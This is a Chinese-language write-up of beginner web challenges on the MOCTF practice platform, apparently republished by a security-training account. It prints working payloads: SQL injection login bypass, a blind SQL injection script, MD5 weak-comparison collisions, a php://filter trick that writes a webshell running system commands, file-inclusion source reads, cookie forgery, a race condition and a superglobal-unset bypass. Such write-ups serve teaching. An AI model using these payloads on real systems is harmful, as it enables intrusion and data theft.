其他

Moctf-web题解

2018-02-11 一叶飘零 合天智汇

点击蓝字

关注我们

前记

MOCTF平台是CodeMonster和Mokirin这两支CTF战队所搭建的一个CTF在线答题系统。题目形式与各大CTF比赛相同。目的是为两个学校中热爱信息安全的同学们提供一个刷题的平台,能够一起学习、进步(滑稽脸,给xishir师傅打call)


抽空做完了web类型的题,于是写了一下题解~由于是训练oj,就没有直接给出flag,233333333,大家可以自己动手尝试,做下来感觉题目难度不大,适合新手入门

给出平台连接: http://ctf.codemonster.cn

签到

加群就有flag就不说啦

(滑稽脸)xishir师傅弄的oj,打电话打电话!!

一道水题

f12源代码里就有flag

还是水题

常规的前端

<input type="password" value="" disabled="disabled" name="password" maxlength="4">

改一下限制就行啦,改成5,输入moctf就有flag

访问限制

抓包,然后发包

GET /web3/ HTTP/1.1

Host: 119.23.73.3:5001

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: NAIVE text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: http://ctf.codemonster.cn/challenges

Accept-Language: zh-HK

Connection: close

即可获得flag

机器蛇

查看robots.txt

发现

user-agent: 

Disallow: /flag327a6c4304ad5938eaf0efb6cc3e53dc.php

Disallow: /index.html

访问f12即可拿到flag

PHP黑魔法

存在文件泄露

view-source:http://119.23.73.3:5001/web5/index.php~


可以得到

php

<?php


$flag="moctf{**************}";

if (isset($_GET['a'])&&isset($_GET['b'])) {

$a=$_GET['a'];

$b=$_GET['b'];



if($a==$b) 

{

echo "<center>Wrong Answer!</center>";

}

else {

if(md5($a)==md5($b)) 

{

echo "<center>".$flag."</center>"; 

echo "By:daoyuan";

}

else echo "<center>Wrong Answer!</center>";

}

}

else echo "<center>好像少了点什么</center>"; 

?>


是一个弱比较,即md5的0e开头的比较

访问

http://119.23.73.3:5001/web5/index.php?a=QNKCDZO&b=s878926199a

即可拿到flag

我想要钱

打开即看到源码

php

<?php

    include "flag.php";

    highlight_file(__FILE__);


    if (isset($_GET['money'])) {

        $money=$_GET['money'];

        if(strlen($money)<=4&&$money>time()&&!is_array($money))

        {

            echo $flag;

            echo "<!--By:daoyuan-->";

        }

        else echo "Wrong Answer!";

    }

    else echo "Wrong Answer!";

?>

虽然限制了money≤4,但是可以用科学计数法,即访问

http://119.23.73.3:5001/web6/?money=10e9

即可拿到flag

登录就对了

一个简单的注入

username=admin'#

password=1

即可登录成功,f12获得flag

Flag在哪?

一道脑洞题,抓包即可看到302跳转

where is flag!

I have a flag

I have a frog!

ah~ guess where is flag!

There is no flag!


23333典型的PPAP,我们猜测flagfrog.php

但是注意还是得抓包

GET /web7/frogflag.php HTTP/1.1

Host: 119.23.73.3:5001

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8

Connection: close

发送即可得到flag

死亡退出

打开即可看到源码

php

<?php

  show_source(__FILE__);

  $c="<?php exit;?>";

  @$c.=$_POST['c'];

  @$filename=$_POST['file']; 

  if(!isset($filename))                    

  {                                       

    file_put_contents('tmp.php', ''); 

  }                                 

  @file_put_contents($filename, $c);

  include('tmp.php');

?>

p牛提过的经典问题

附上p牛的分析

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

这里的

php

$c="<?php exit;?>";

会使php文件直接退出,不会执行后续代码,所以我们的目的是绕过这句话

而p牛提出了一个很好的方法:利用base64加解码的写入

例如:

c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php

我们来分析一下这句话post上去的流程

首先是$c

当c拼接后变成:

<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=

然后经过base64-decode解码写入

这个时候写入后的文件变成了

^ƫZ<?php system('cat flag.php'); ?>

可以看到之前的<?php exit;?>的被解码成未知字符,而php就可以顺利执行后面的代码了

注:为什么c之前要加一个a

因为在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

而phpexit一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。

所以最后发包如下即可获得flag

POST / HTTP/1.1

Host: 119.23.73.3:5003

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 110


c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php


文件包含

基础的文件包含题目

http://119.23.73.3:5001/web8/index.php?file=welcome.txt

我们访问

http://119.23.73.3:5001/web8/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php

即可得到

SSBoYXZlIGEgZmxhZyEKPD9waHAgCgovL0ZsYWc6IG1vY3Rme2YxbGVfaW5jbHVkNF9lNXN5fQovL0J5OmRhb3l1YW4KCj8+Cg==

解码即可得到flag

美味的饼干

进入后是一个登陆页面

尝试登陆admin,admin

得到cookie

ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU%3D

解base64

ee11cbb19052e40b07aac0ca060c23ee

再解md5


user


此时猜想

我们要让cookie成为admin

于是构造

md5


21232f297a57a5a743894a0e4a801fc3


再base64


MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM=


然后更改cookie,刷新,f12,得到flag


火眼金睛

拿到题目

http://119.23.73.3:5001/web10/

眼睛看花掉,一堆字符串

我们要数里面有多少个moctf

这题应该是考验python的爬取

我们选用正则匹配+python

脚本如下

python

import requests

import re


url = "http://119.23.73.3:5001/web10/index.php"

r = requests.get(url=url)

res_tr = r"'100'>(.*?)</textarea>"

flagtxt =  re.findall(res_tr,r.content)[0]

re_moctf = r"moctf"

moctf = re.findall(re_moctf,flagtxt)

number = len(moctf)

data = {

    "answer":number

}

url2 = "http://119.23.73.3:5001/web10/work.php"

s = requests.post(url=url2,data=data,cookies=r.cookies)

print s.content

运行即可得到flag

简单注入

大家可以先自己做一下再看,这样可能感触比较深:http://119.23.73.3:5004

题目过滤了空格等一堆东西,所以引号闭合比较困难

但是这里可以想到用异或的方法

http://119.23.73.3:5004/?id=1'^'1

回显为空白

http://119.23.73.3:5004/?id=1'^'0

回显为Hello


原因是因为

select * from news where id='$id'

select * from news where id='1'^'1'

select * from news where id='1'^'0'


这样就一目了然了,'1'^'1'显然是查不到数据的,因为id=0

而'1'^'0'是显然为1的,所以既闭合了引号,也得到了注入方式

所以后面容易构造payload

id=2'^'(ascii(mid((select(TABLE_NAME)from(information_schema.TABLES)where(TABLE_SCHEMA=database())limit(0,1)),1,1))=1)

但是问题来了,这个limit 0,1用括号隔开好像不起作用?

我随后又尝试了limit(1)offset(1)但是也没起作用,那么怎么查询多条数据呢?

这里我发现group_concat没过滤,所以就很简单了

直接附上脚本

python

import requests


flag = ""

for i in range(1,300):

    for j in range(33,127):

        # url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),"+str(i)+",1))="+str(j)+")"

        # url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='do_y0u_l1ke_long_t4ble_name')),"+str(i)+",1))="+str(j)+")"

        url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),"+str(i)+",1))="+str(j)+")"

        r=requests.get(url=url)

        if "Tip" in r.content:

            flag +=chr(j)

            print flag

            break


没时间解释了

一道条件竞争的题目

首先是存在302跳转需要抓包

抓包得到

May be u need uploadsomething.php

访问

http://119.23.73.3:5006/web2/uploadsomething.php

发现是一个上传类似的页面

随便写一个

http://119.23.73.3:5006/web2/uploadsomething.php?filename=111&content=111

得到

Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/e34d9b2f222eaa45dfd3f2522d12743a118ba5f7/111

尝试多次

http://119.23.73.3:5006/web2/uploadsomething.php?filename=flag&content=111

Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/e34d9b2f222eaa45dfd3f2522d12743a118ba5f7/flag


http://119.23.73.3:5006/web2/uploadsomething.php?filename=sky&content=111

Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/e34d9b2f222eaa45dfd3f2522d12743a118ba5f7/sky

发现文件夹路径是固定的,但是文件名是我们控制的,我们去访问就会得到:


Too slow!


于是想到条件竞争

开Burp的50线程,一个不断发包


http://119.23.73.3:5006/web2/uploadsomething.php?filename=flag&content=111

一个不断请求


http://119.23.73.3:5006/web2/uploads/e34d9b2f222eaa45dfd3f2522d12743a118ba5f7/flag

一会儿就看到了flag

unset

源码审计

php

<?php

highlight_file('index.php');

function waf($a){

foreach($a as $key => $value){

        if(preg_match('/flag/i',$key)){

        exit('are you a hacker');

}

}

}

foreach(array('_POST', '_GET', '_COOKIE') as $__R) {

        if($$__R) { 

        foreach($$__R as $__k => $__v) { 

            if(isset($$__k) && $$__k == $__v) unset($$__k); 

        }

     }


}

if($_POST) { waf($_POST);}

if($_GET) { waf($_GET); }

if($_COOKIE) { waf($_COOKIE);}


if($_POST) extract($_POST, EXTR_SKIP);

if($_GET) extract($_GET, EXTR_SKIP);

if(isset($_GET['flag'])){

if($_GET['flag'] === $_GET['daiker']){

        exit('error');

}

if(md5($_GET['flag'] ) == md5($_GET['daiker'])){

        include($_GET['file']);

}

}


?>

看到关键代码

php

foreach(array('_POST', '_GET', '_COOKIE') as $__R) {

        if($$__R) { 

        foreach($$__R as $__k => $__v) { 

            if(isset($$__k) && $$__k == $__v) unset($$__k); 

        }

     }


发现这是Destoon 20140530最新版超全局变量覆盖导致的安全问题

分析如下:

这里的逻辑是 如果post get cookie请求中的$$key和$value相等 就unset掉$$key

如果我们向index.php?x=123提交一个POST请求内容为_GET[x]=123

因为?x=123 

所以$_GET内容为array('x'=>'123')

当开始遍历$_POST的时候$__k是_GET[x]

所以$$__k就是$_GET[x]也就是array('x'=>'123')

$__v是POST上来的一个数组,内容也是array('x'=>'123')

$$__k == $__v成立

所以我们的超全局变量$_GET就被unset了

由于我们的$_GET已经在前面被unset了 所以即使加了EXTR_SKIP extract($_POST)仍然能够正常的初始化$_GET extract($_GET)的值就成功绕过了waf的检查

然后我们就可以构造出2个0e开头的md5,成功文件包含,用php伪协议读取文件了!

我的payload如下

POST /index.php?flag=QNKCDZO&daiker=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php HTTP/1.1

Host: 119.23.73.3:5101

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8

Cookie: PHPSESSID=om11lglr53tm1htliteav4uhk4

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 112


_GET[flag]=QNKCDZO&_GET[daiker]=s878926199a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php

发送即可得到flag


看不过瘾?合天2017年度干货精华请点击【精华】2017年度合天网安干货集锦

别忘了投稿哟!!!

合天公众号开启原创投稿啦!!!

大家有好的技术原创文章。

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。

有才能的你快来投稿吧!

重金悬赏 | 合天原创投稿等你来!

    合天智汇

网址 : www.heetian.com

电话:4006-123-731

长按图片,据说只有颜值高的人才能识别哦→

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存